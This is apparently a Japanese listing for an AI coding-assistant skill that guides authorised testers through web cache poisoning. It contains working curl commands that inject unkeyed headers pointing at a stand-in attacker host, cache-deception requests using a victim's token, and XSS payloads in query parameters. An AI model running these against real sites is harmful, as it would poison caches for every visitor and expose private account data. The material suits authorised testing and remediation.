performing-web-cache-poisoning-attack について
許可を得たペネトレーションテスター向けの、Web キャッシュポイズニング検証スキルです。キャッシュ分析、キーに含まれない入力の特定、影響確認とキャッシュの消去を扱い、書面による許可と慎重なテストを求めます。
主な機能
- 01キャッシュ層と挙動の特定
- 02キャッシュキー外の入力の発見
- 03キャッシュポイズニングと欺瞞のテスト
- 04影響の確認とキャッシュの消去
- 05Burp Suite と curl による分析
活用シーン
- 01CDN やリバースプロキシのリスク評価
- 02キャッシュキー外のレスポンス入力の確認
- 03許可を得たキャッシュ欺瞞の検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-web-cache-poisoning-attackインストール後、Claude Code で/performing-web-cache-poisoning-attackを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
Web キャッシュポイズニング攻撃の実施
使用する場面
- アプリケーションが CDN またはリバースプロキシのキャッシュ(Cloudflare、Akamai、Varnish、Nginx)を使用している、許可済みの侵入テスト中
- すべてのユーザーに影響する可能性がある、キャッシュベースの脆弱性についてウェブアプリケーションを評価する場合
- キーに含まれない HTTP ヘッダーがキャッシュされたレスポンスに反映されるかをテストする場合
- キャッシュキーの動作とキャッシュデセプションの脆弱性を評価する場合
- 積極的なキャッシュポリシーを設定したアプリケーションのセキュリティ評価中
前提条件
- 許可:キャッシュポイズニングテストを明示的に対象とする、書面による侵入テスト契約
- Burp Suite Professional:キーに含まれないヘッダーを自動検出する Param Miner 拡張機能を使用
- curl:ヘッダーを正確に制御して手動でキャッシュをテストするため
- 対象に関する知識:キャッシュレイヤー(CDN プロバイダー、キャッシュヘッダー)を理解していること
- キャッシュバスター:テストリクエストを他のユーザーのリクエストから分離する一意のクエリパラメーター
- 注意:キャッシュポイズニングはすべてのユーザーに影響します。まずキャッシュバスター付きパラメーターでテストしてください
**法的通知:**このスキルは、許可を得たセキュリティテストおよび教育目的に限り使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する不正使用は違法であり、コンピューター不正行為に関する法律に違反する可能性があります。
ワークフロー
ステップ 1:キャッシュレイヤーと動作を特定する
使用されているキャッシュインフラストラクチャと、キャッシュキーの構成方法を確認します。
# Check cache-related response headers
curl -s -I "https://target.example.com/" | grep -iE \
"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"
# Common cache indicators:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)
# Age: 120 (seconds since cached)
# X-Varnish: 12345 67890 (Varnish)
# Via: 1.1 varnish (Varnish/CDN proxy)
# Determine cache key by testing variations
# Cache key typically includes: Host + Path + Query string
# Test 1: Same URL, two requests - check if second is cached
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# First: MISS, Second: HIT = caching is active
# Test 2: Vary header behavior
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding means Accept-Encoding is part of cache key
ステップ 2:Param Miner でキーに含まれない入力を検出する
Burp の Param Miner を使用して、キャッシュキーに含まれず、レスポンスに反映されるヘッダーやパラメーターを見つけます。
# In Burp Suite:
# 1. Install Param Miner from BApp Store
# 2. Right-click target request > Extensions > Param Miner > Guess headers
# 3. Param Miner will test hundreds of HTTP headers
# 4. Check results in Extender > Extensions > Param Miner > Output
# Common unkeyed headers to test manually:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP
# Manual testing for unkeyed header reflection
# Add cache buster to isolate testing
CB="cachebuster=$(date +%s)"
# Test X-Forwarded-Host reflection
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?$CB" | grep "evil.example.com"
# Test X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
"https://target.example.com/?$CB" | grep "nothttps"
# Test X-Original-URL (path override)
curl -s -H "X-Original-URL: /admin" \
"https://target.example.com/?$CB"
# Test X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?$CB" | grep "http://"
ステップ 3:キーに含まれないヘッダーを悪用してキャッシュポイズニングを行う
悪意のあるコンテンツでキャッシュされたレスポンスを汚染するリクエストを作成します。
# Scenario: X-Forwarded-Host reflected in resource URLs
# Normal response includes: <script src="https://target.example.com/app.js">
# Poisoned: <script src="https://evil.example.com/app.js">
# Step 1: Confirm reflection with cache buster
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?cb=unique123" | \
grep "evil.example.com"
# Step 2: Poison the actual cached page (WITHOUT cache buster)
# WARNING: This affects all users - only do with explicit authorization
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/"
# Step 3: Verify cache is poisoned
curl -s "https://target.example.com/" | grep "evil.example.com"
# If evil.example.com appears, the cache is poisoned
# Attack with X-Forwarded-Proto for HTTP downgrade
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?cb=unique456"
# May cause cached response to include http:// links, enabling MitM
# Attack with multiple headers
curl -s \
-H "X-Forwarded-Host: evil.example.com" \
-H "X-Forwarded-Proto: https" \
"https://target.example.com/?cb=unique789"
ステップ 4:ウェブキャッシュデセプションをテストする
キャッシュをだまして、認証済みレスポンスを公開 URL に保存させます。
# Web Cache Deception attack
# The cache caches based on file extension (.css, .js, .jpg)
# If the application ignores path suffixes:
# Step 1: As victim (authenticated), visit:
# https://target.example.com/account/profile/nonexistent.css
# If the application returns the profile page (ignoring .css suffix)
# AND the cache stores it because of .css extension...
# Test application path handling
curl -s -H "Authorization: Bearer $VICTIM_TOKEN" \
"https://target.example.com/account/profile/test.css" | \
grep -i "email\|name\|balance"
# Step 2: As attacker (unauthenticated), request:
curl -s "https://target.example.com/account/profile/test.css"
# If victim's profile data is returned, cache deception is confirmed
# Test various static extensions
for ext in css js jpg png gif ico svg woff woff2 ttf; do
echo -n ".$ext: "
curl -s -H "Authorization: Bearer $TOKEN" \
-o /dev/null -w "%{http_code} %{size_download}" \
"https://target.example.com/account/settings/x.$ext"
echo
done
# Test path confusion patterns
# /account/settings%2f..%2fstatic/style.css
# /account/settings/..;/static/style.css
# /account/settings;.css
ステップ 5:パラメーターベースのキャッシュポイズニングをテストする
キーに含まれないクエリパラメーターや、パラメーターの解析方法の違いを悪用します。
# Unkeyed parameter (parameter not in cache key but reflected)
# Using UTM parameters that are often excluded from cache keys
curl -s "https://target.example.com/?utm_content=<script>alert(1)</script>&cb=$(date +%s)" | \
grep "alert"
# Parameter cloaking via parsing differences
# Backend sees: callback=evil, Cache key ignores: callback
curl -s "https://target.example.com/jsonp?callback=alert(1)&cb=$(date +%s)"
# Fat GET request (body in GET request)
curl -s -X GET \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "param=evil_value" \
"https://target.example.com/page?cb=$(date +%s)"
# Cache key normalization differences
# Some caches normalize query string order, some don't
curl -s "https://target.example.com/page?a=1&b=2" # Cached as key1
curl -s "https://target.example.com/page?b=2&a=1" # Same key? Or different?
# Test port-based cache poisoning
curl -s -H "Host: target.example.com:1234" \
"https://target.example.com/?cb=$(date +%s)" | grep "1234"
ステップ 6:影響を検証して後片付けする
攻撃の影響を確認し、汚染されたキャッシュエントリーが削除されていることを確認します。
# Verify poisoned cache serves to other users
# Use a different IP/User-Agent/session to verify
curl -s -H "User-Agent: CacheVerification" \
"https://target.example.com/" | grep "evil"
# Check cache TTL to understand exposure window
curl -s -I "https://target.example.com/" | grep -i "cache-control\|max-age\|s-maxage"
# max-age=3600 means poisoned for 1 hour
# Clean up: Force cache refresh
# Some CDNs allow purging via API
# Cloudflare: API call to purge cache
# Varnish: PURGE method
curl -s -X PURGE "https://target.example.com/"
# Or wait for TTL to expire
# Document the cache poisoning window
# Start time: when poison request was sent
# End time: start time + max-age
# Affected users: all users hitting the cached URL during the window
主な概念
| 概念 | 説明 |
|---|---|
| キャッシュキー | キャッシュされたレスポンスを識別するために使用されるリクエスト属性(ホスト、パス、クエリ)の集合 |
| キーに含まれない入力 | キャッシュキーに含まれず、レスポンスには反映される HTTP ヘッダーまたはパラメーター |
| キャッシュポイズニング | 悪意のあるコンテンツをキャッシュされたレスポンスに注入し、他のユーザーに配信すること |
| キャッシュデセプション | キャッシュをだまして、認証済みまたは非公開のレスポンスを公開コンテンツとして保存させること |
| Vary ヘッダー | キャッシュキーに含めるリクエストヘッダーを指定する HTTP ヘッダー |
| キャッシュバスター | テスト中に実際のキャッシュに影響が及ぶのを防ぐために使用する、一意のクエリパラメーター |
| TTL(Time to Live) | キャッシュされたレスポンスが更新されるまで有効な期間 |
ツールとシステム
| ツール | 用途 |
|---|---|
| Burp Suite Professional | リクエストの傍受とキャッシュ動作の分析 |
| Param Miner(Burp 拡張機能) | キーに含まれない HTTP ヘッダーやパラメーターを自動検出 |
| Web Cache Vulnerability Scanner | キャッシュポイズニングを自動検出するツール |
| curl | ヘッダーを正確に制御した HTTP リクエストの手動作成 |
| Varnishlog | Varnish キャッシュのデバッグとログ分析 |
| CDN 固有のツール | キャッシュ診断用の Cloudflare Analytics、Akamai Pragma ヘッダー |
よくあるシナリオ
シナリオ 1:X-Forwarded-Host によるスクリプトインジェクション
アプリケーションは X-Forwarded-Host ヘッダーをスクリプトの src URL に反映します。このヘッダーはキャッシュキーに含まれていません。X-Forwarded-Host: evil.com を指定したリクエストを送信するとキャッシュが汚染され、以降のすべての訪問者に対して、攻撃者のサーバーから JavaScript が読み込まれます。
シナリオ 2:アカウントページでの Web キャッシュ欺瞞
Cloudflare にキャッシュされたアプリケーションは、認識されないパスセグメントを無視します。/account/profile/logo.png をリクエストすると、アカウントページが返され、Cloudflare はそれを静的画像としてキャッシュします。認証されていないユーザーは誰でも、キャッシュされたアカウントページにアクセスできるようになります。
シナリオ 3:キャッシュを介したパラメーター型 XSS
UTM トラッキングパラメーターはキャッシュキーから除外されていますが、ページ HTML にレンダリングされます。utm_content パラメーターを介して <script> タグを挿入すると、キャッシュが保存型 XSS によって汚染され、すべての訪問者に影響します。
シナリオ 4:Host ヘッダーを介した CDN キャッシュポイズニング
複数のアプリケーションが同じ CDN の背後にあります。Host ヘッダーを操作すると、CDN はあるアプリケーションからのレスポンスを、別のアプリケーションのキャッシュキーでキャッシュするようになります。
出力形式
## Web Cache Poisoning Finding
**Vulnerability**: Web Cache Poisoning via Unkeyed Header
**Severity**: High (CVSS 8.6)
**Location**: X-Forwarded-Host header on all pages
**OWASP Category**: A05:2021 - Security Misconfiguration
### Cache Configuration
| Property | Value |
|----------|-------|
| CDN/Cache | Cloudflare |
| Cache-Control | max-age=3600, public |
| Unkeyed Headers | X-Forwarded-Host, X-Forwarded-Proto |
| Affected Pages | All HTML pages (/*.html) |
### Reproduction Steps
1. Send request with X-Forwarded-Host: evil.example.com
2. Response includes: <link href="https://evil.example.com/style.css">
3. This response is cached by Cloudflare for 3600 seconds
4. All subsequent visitors receive the poisoned response
### Impact
- JavaScript execution in all users' browsers (via poisoned script src)
- Credential theft, session hijacking, defacement
- Affects estimated 50,000 daily visitors during 1-hour cache window
- Can be re-poisoned continuously for persistent attack
### Recommendation
1. Include X-Forwarded-Host and similar headers in the cache key via Vary header
2. Do not reflect unkeyed headers in response content
3. Configure the cache to strip unknown headers before forwarding to origin
4. Use application-level hardcoded base URLs instead of deriving from headers
5. Implement cache key normalization to prevent key manipulation